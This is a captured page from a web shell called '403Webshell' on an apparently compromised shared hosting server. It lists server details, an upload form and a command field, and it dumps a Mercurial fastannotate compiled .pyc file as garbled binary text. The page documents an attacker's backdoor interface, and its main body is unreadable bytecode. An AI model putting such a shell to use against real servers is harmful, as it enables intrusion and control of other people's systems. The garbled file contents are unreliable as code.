403Webshell
Server IP : 108.167.183.253  /  Your IP : 216.73.216.79
Web Server : Apache
System : Linux gator4209.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : raghunath ( 2558)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/hgext/fastannotate/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/hgext/fastannotate/__pycache__/commands.cpython-39.pyc
a

�+�b�/�@s�ddlmZddlZddlmZddlmZmZmZm	Z	m
Z
mZmZm
Z
mZmZddlmZmZmZiZe
�e�Zejfdd�Zd	d
ded�ed
�fddded�fddded�fddded�fddded�fddded�fddded�fd d!ded"�fd#d$ded%�fd#d&ded'�fd#d(ded)�fd#d*ded+�fd#d,ded-�fg
ejejejed.�d/d0�Zd1d2�Ze�Z d3d4�ed5ej!D�Z"d6d7�Z#d8d9�Z$d:d;�Z%ed<d	d
d#ed=�ed
�fgejed>��d?d@��Z&dS)A�)�absolute_importN)�_)
�commands�encoding�error�
extensions�
logcmdutil�patch�pycompat�	registrar�scmutil�util�)�contextr�	formatterc#s��j�dd�}|r�tj��j��tj�t����}|dkr>d}t�fdd�t	j
D��r\d}n.�fdd	�|D�}t��fd
d�|D��r�d}|r�|D]}tj�||�Vq�n<dd�}	t�
�|�}
tj|
|�|	d
�}|
�|�D]
}|Vq�dS)z&generate paths matching given patterns�fastannotatesperfhack�.�c3s|]}��|d�VqdS)rN��get)�.0�o��opts��A/usr/lib64/python3.9/site-packages/hgext/fastannotate/commands.py�	<genexpr>2rz_matchpaths.<locals>.<genexpr>Fcs*g|]"}tj�|�r"tj�|��n|�qSr)�os�path�isabs�relpath)r�p)�reporootrr�
<listcomp>5s�z_matchpaths.<locals>.<listcomp>c3s0|](}d|vp&tj�t��|��j�VqdS)s..N)rr�isfile�	facontextZ
pathhelperZlinelogpath)r�f)�aopts�reporrr:s
��cSst�d||f��dS)Ns%s: %s)r�Abort)�x�yrrr�badLsz_matchpaths.<locals>.bad)ZbadfnN)�ui�
configboolrr�dirnamer r�getcwd�anyr�walkopts�joinr�	revsingler�match�walk)r(�rev�patsrr'ZperfhackZreldirZrelpatsr!r,�ctx�mr)r'rr(r"r�_matchpaths$s.
��	r;�r�revrsannotate the specified revision�REV�u�userslist the author (long with -v)�f�fileslist the filename�d�dateslist the date (short with -q)�n�numbers"list the revision number (default)�c�	changesetslist the changeset�lsline-numbers(show line number at the first appearance�e�deleteds(show deleted lines (slow) (EXPERIMENTAL)rs
no-contents'do not show file content (EXPERIMENTAL)s	no-followsdon't follow copies and renames�linearsEenforce linear history, ignore second parent of merges (EXPERIMENTAL)s	long-hashs'show long changeset hash (EXPERIMENTAL)�rebuilds.rebuild cache even if it exists (EXPERIMENTAL)s3[-r REV] [-f] [-a] [-u] [-d] [-n] [-c] [-l] FILE...T)�optionsZsynopsisZ	inferrepoc
sD|st�td���|�dd�r&|��}t������dd�}��dd�}tj	|�dd	d
�}t
j|��dd���dd�d
�}t�fdd�dD��s�|�
dddg�D]}d	�|<q�|�d���d�}	|	dkr�t�||��}
nt�||��}
��dd�}t��d��}��dd�}
|�dd��p$|}tt|||�|��}t�|d��rR|�|�|D]�}d}}}zzt
�||||��N}|j|||
|�o�|d�}|�r�dd�|D�}|j||
|d�}Wd�n1�s�0YW�qWn0tjtjf�y|�r�n
d	}Y�qfYn0�qf|�r$|\}}|
j|||d��qV|
� �dS) a�show changeset information by line for each file

    List changes in files, showing the revision id responsible for each line.

    This command is useful for discovering when a change was made and by whom.

    By default this command prints revision numbers. If you include --file,
    --user, or --date, the revision number is suppressed unless you also
    include --number. The default format can also be customized by setting
    fastannotate.defaultformat.

    Returns 0 on success.

    .. container:: verbose

        This command uses an implementation different from the vanilla annotate
        command, which may produce slightly different (while still reasonable)
        outputs for some cases.

        Unlike the vanilla anootate, fastannotate follows rename regardless of
        the existence of --file.

        For the best performance when running on a full repo, use -c, -l,
        avoid -u, -d, -n. Use --linear and --no-content to make it even faster.

        For the best performance when running on a shallow (remotefilelog)
        repo, avoid --linear, --no-follow, or any diff options. As the server
        won't be able to populate annotate cache when non-default options
        affecting results are used.
    s,at least one filename or pattern is requiredr�unfilteredrepor=rrMF�annotateT)�sectionZ
whitespacerLs	no_follow)�diffoptsZfollowmergeZfollowrenamec3s|]}��|�VqdS)Nr)r�srrrr�s�zfastannotate.<locals>.<genexpr>)r@rDrBrFrHs
defaultformatrFstemplatesjsonrKs
no_contentrB�
mainbranch�prefetchfastannotateN)�master�showpath�	showlinescSsh|]}|d|df�qS)rrr)r�lrrr�	<setcomp>�rzfastannotate.<locals>.<setcomp>)rWrX)�
existinglines)!rr)rr.�
unfilteredr
�byteskwargsrr	Zdifffeatureoptsr%Zannotateoptsr1Z
configlistZpager�faformatterZ
jsonformatterZdefaultformatter�bool�config�listr;r
�safehasattrrU�annotatecontext�annotateZannotatealllines�faerror�CannotReuseError�CorruptedFileError�write�end)r-r(r8rr7�rebuildrRr'�name�templaterZshowdeletedrXrWrV�pathsr�result�linesr[�arrr�fastannotate�sv
����




��&
rqcCsh|]}|d�dd��qS)r�-�_)�replace)r�optrrrrZs�rZrNcOs�|�dd�r|��}|�dd�r(d|d<|�d�}t�|d�rh|durhtt|||t�|���}|�	|�|||g|�Ri|��S)	zused by wrapdefaultrrOs	forcetextT�textr7rUN)
r.r\rr
rbrar;r
r]rU)Zorigr-r(r8rr7rmrrr�_annotatewrapper	s

rwcCs d}t|fddit��t�dS)z!register the fastannotate commandsfastannotate|fastblame|faZ	helpbasicTN)�command�fastannotatecommandargsrq)rkrrr�registercommandsrzcCst�tjdt�dS)z>wrap the default annotate command, to be aware of the protocolrPN)rZwrapcommandr�tablerwrrrr�wrapdefault"sr|sdebugbuildannotatecaches!build up to the specific revisions[-r REV] FILE...c
Os�t�|�}|�d�p|�dd�}|s:tjtd�td�d��|�dd�rN|��}t	�
||�}t�|||�}t
|�|��}t�|d�r�|�d�r�t�td	���|�|��n|jtd
�t|�d�}t|�D]�\}	}
|�|	�t�||
���}z,|�|��rWWd�q�|�||�Wn�tjtjf�y�|�d
|
�|��z|�||�Wn<t�y�}z"|� td�|
|f�WYd}~n
d}~00Yn0Wd�q�1�s�0Yq�|�!�dS)a�incrementally build fastannotate cache up to REV for specified files

    If REV is not specified, use the config 'fastannotate.mainbranch'.

    If fastannotate.client is True, download the annotate cache from the
    server. Otherwise, build the annotate cache locally.

    The annotate cache will be built using the default diff and follow
    options and lives in '.hg/fastannotate/default'.
    r>rrTsyou need to provide a revisions(set fastannotate.mainbranch or use --rev)�hintrOrUs--rev cannot be used for clientsbuilding)�totalNs*fastannotate: %s: rebuilding broken cache
s,fastannotate: %s: failed to build cache: %r
)"r
r]rr`rr)rr.r\rr4rr5rar6r
rbrUZmakeprogress�len�	enumerate�updater%rcZ
isuptodaterdrerfrg�debugrj�	Exception�warnZcomplete)
r-r(r8rr7r9r:rmZprogress�irZactx�exrrr�debugbuildannotatecache'sP
�

����Br�)'Z
__future__rrZmercurial.i18nrZ	mercurialrrrrrr	r
rrr
�rr%rerr^ZcmdtablerxZdefaultoptsr;Z
diffwsoptsr2Z
formatteroptsryrq�setZ_newoptsZ
globaloptsZ
_knownoptsrwrzr|r�rrrr�<module>s�0

3�����
���0�1�2�3�9t���

Youez - 2016 - github.com/yon3zu
LinuXploit